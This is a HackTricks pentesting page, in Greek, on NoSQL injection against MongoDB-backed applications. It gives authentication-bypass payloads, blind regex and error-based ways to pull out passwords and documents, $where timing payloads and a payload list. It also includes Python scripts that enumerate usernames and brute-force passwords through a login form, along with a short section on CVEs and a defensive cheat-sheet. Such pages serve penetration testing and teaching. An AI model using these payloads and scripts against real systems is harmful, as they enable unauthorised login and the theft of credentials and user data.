NoSQL injection
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Exploit
Σε PHP μπορείτε να στείλετε ένα Array αλλάζοντας την παράμετρο που αποστέλλεται από parameter=foo σε parameter[arrName]=foo.
Τα exploits βασίζονται στην προσθήκη ενός Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Basic authentication bypass
Χρήση των τελεστών ανισότητας ($ne) ή μεγαλύτερου ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
Ένας attacker μπορεί να εκμεταλλευτεί αυτό εισάγοντας strings όπως admin' || 'a'=='a, κάνοντας το query να επιστρέψει όλα τα documents ικανοποιώντας την συνθήκη με μια ταυτολογία ('a'=='a'). Αυτό είναι ανάλογο με SQL injection attacks όπου inputs όπως ' or 1=1-- - χρησιμοποιούνται για να χειραγωγήσουν SQL queries. Στο MongoDB, παρόμοιες injections μπορούν να γίνουν χρησιμοποιώντας inputs όπως ' || 1==1//, ' || 1==1%00, ή admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Εξαγωγή πληροφοριών μήκους
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Εξαγωγή data πληροφοριών
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP Arbitrary Function Execution
Χρησιμοποιώντας τον operator $func της βιβλιοθήκης MongoLite (που χρησιμοποιείται από προεπιλογή) ενδέχεται να είναι δυνατή η εκτέλεση μιας αυθαίρετης συνάρτησης όπως στο this report.
"user":{"$func": "var_dump"}
.png)
Λήψη πληροφοριών από διαφορετική συλλογή
Είναι δυνατό να χρησιμοποιηθεί το $lookup για να ληφθούν πληροφορίες από διαφορετική συλλογή. Στο παρακάτω παράδειγμα διαβάζουμε από μια διαφορετική συλλογή με όνομα users και παίρνουμε τα αποτελέσματα όλων των εγγραφών με password που ταιριάζει σε wildcard.
ΣΗΜΕΙΩΣΗ: $lookup και άλλες aggregation functions είναι διαθέσιμες μόνο αν η συνάρτηση aggregate() χρησιμοποιήθηκε για την αναζήτηση αντί των πιο κοινών find() ή findOne() functions.
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
Error-Based Injection
Εισάγετε throw new Error(JSON.stringify(this)) σε μια παράμετρο $where για να exfiltrate full documents μέσω server-side JavaScript errors (απαιτείται η εφαρμογή να leak database errors). Παράδειγμα:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
Αν η εφαρμογή μόνο leaks το πρώτο έγγραφο που αποτυγχάνει, κράτα το dump σταθερό αποκλείοντας έγγραφα που έχεις ήδη ανακτήσει. Η σύγκριση με το τελευταίο leaked _id είναι ένας απλός paginator:
{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }
Νικώντας τις προ/μετα συνθήκες σε syntax injection
Όταν η εφαρμογή κατασκευάζει το Mongo φίλτρο ως string πριν το αναλύσει, η syntax injection δεν περιορίζεται πλέον σε ένα μόνο πεδίο και συχνά μπορείτε να ουδετεροποιήσετε τις περιβαλλόμενες συνθήκες.
Στις ενέσεις $where, οι JavaScript truthy values και τα poison null bytes εξακολουθούν να είναι χρήσιμα για να ακυρώσουν τις επακόλουθες ρήτρες:
' || 1 || 'x
' || 1%00
Στην raw JSON filter injection, τα διπλά κλειδιά μπορούν να υπερισχύσουν προηγούμενων περιορισμών σε parsers που ακολουθούν την πολιτική last-key-wins:
// Original filter
{"username":"<input>","role":"user"}
// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key
// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}
Αυτό το κόλπο εξαρτάται από τον parser και εφαρμόζεται μόνο όταν η εφαρμογή συναρμολογεί JSON με string concatenation/interpolation πρώτα. Δεν εφαρμόζεται όταν το backend διατηρεί το query ως δομημένο αντικείμενο από άκρο σε άκρο.
Recent CVEs & Real-World Exploits (2023-2025)
Rocket.Chat μη αυθεντικοποιημένη τυφλή NoSQLi – CVE-2023-28359
Οι εκδόσεις ≤ 6.0.0 εξέθεταν τη μέθοδο Meteor listEmojiCustom που προώθησε ένα αντικείμενο ελεγχόμενο από τον χρήστη selector απευθείας στο find(). Με την έγχυση operators όπως {"$where":"sleep(2000)||true"} ένας μη αυθεντικοποιημένος επιτιθέμενος μπορούσε να δημιουργήσει ένα timing oracle και να εξάγει (exfiltrate) έγγραφα. Το bug διορθώθηκε στην 6.0.1 με έλεγχο του σχήματος του selector και αφαίρεση επικίνδυνων operators.
Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061
Εάν μια εφαρμογή προωθεί αντικείμενα που ελέγχονται από τον επιτιθέμενο στο populate({ match: ... }), ευάλωτες εκδόσεις του Mongoose επιτρέπουν $where-based search injection μέσα στο φίλτρο του populate. Το CVE-2024-53900 κάλυπτε την top-level περίπτωση· το CVE-2025-23061 κάλυπτε μια παράκαμψη όπου το $where ήταν εμφωλευμένο κάτω από operators όπως $or.
// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });
Χρησιμοποιήστε allow-list και χαρτογραφήστε ρητά τα scalars αντί να προωθείτε ολόκληρο το αντικείμενο request. Το Mongoose υποστηρίζει επίσης το sanitizeFilter για να περιτυλίξει nested operator objects σε $eq, αλλά πρέπει να θεωρείται περισσότερο ως δίχτυ ασφαλείας παρά ως αντικατάσταση της ρητής αντιστοίχισης φίλτρων:
mongoose.set('sanitizeFilter', true);
Post.find().populate({
path: 'author',
match: { email: req.query.email }
});
GraphQL → Mongo filter σύγχυση
Resolvers που προωθούν το args.filter απευθείας στο collection.find() παραμένουν ευάλωτοι:
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Μέτρα αντιμετώπισης: αναδρομικά αφαιρέστε κλειδιά που ξεκινούν με $, χαρτογραφήστε ρητά τους επιτρεπόμενους τελεστές, ή επικυρώστε με βιβλιοθήκες schema (Joi, Zod).
Αμυντικό Cheat-Sheet (ενημερωμένο 2025)
- Αφαιρέστε ή απορρίψτε κλειδιά που ξεκινούν με
$; αν το Express βρίσκεται μπροστά από το Mongo/Mongoose, καθαρίστεreq.body,req.query, καιreq.paramsπριν φτάσουν στο ORM. - Απενεργοποιήστε το server-side JavaScript σε self-hosted MongoDB (
--noscriptingήsecurity.javascriptEnabled: false) ώστε$whereκαι αντίστοιχα JS sinks να μην είναι διαθέσιμα. - Προτιμήστε
$exprκαι typed query builders αντί για$where. - Επικυρώστε τους τύπους δεδομένων νωρίς (Joi/Ajv/Zod) και απαγορεύστε arrays ή objects όπου αναμένονται scalars για να αποφύγετε κόλπα με
[$ne]. - Για GraphQL, μεταφράστε τα filter arguments μέσω allow-list· μην κάνετε ποτέ spread μη αξιόπιστων objects μέσα σε Mongo/Mongoose filters.
MongoDB Payloads
Λίστα από εδώ
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Τυφλό NoSQL Script
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Brute-force login usernames and passwords από POST login
Αυτό είναι ένα απλό script που μπορείτε να τροποποιήσετε, αλλά τα προηγούμενα tools μπορούν επίσης να κάνουν αυτήν την εργασία.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Εργαλεία
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
- https://github.com/ImKKingshuk/StealthNoSQL
- https://github.com/Charlie-belmer/nosqli
Αναφορές
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
- https://sensepost.com/blog/2025/nosql-error-based-injection/
- https://nvd.nist.gov/vuln/detail/CVE-2023-28359
- https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900
- https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/
- https://mongoosejs.com/docs/6.x/docs/api/mongoose.html
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


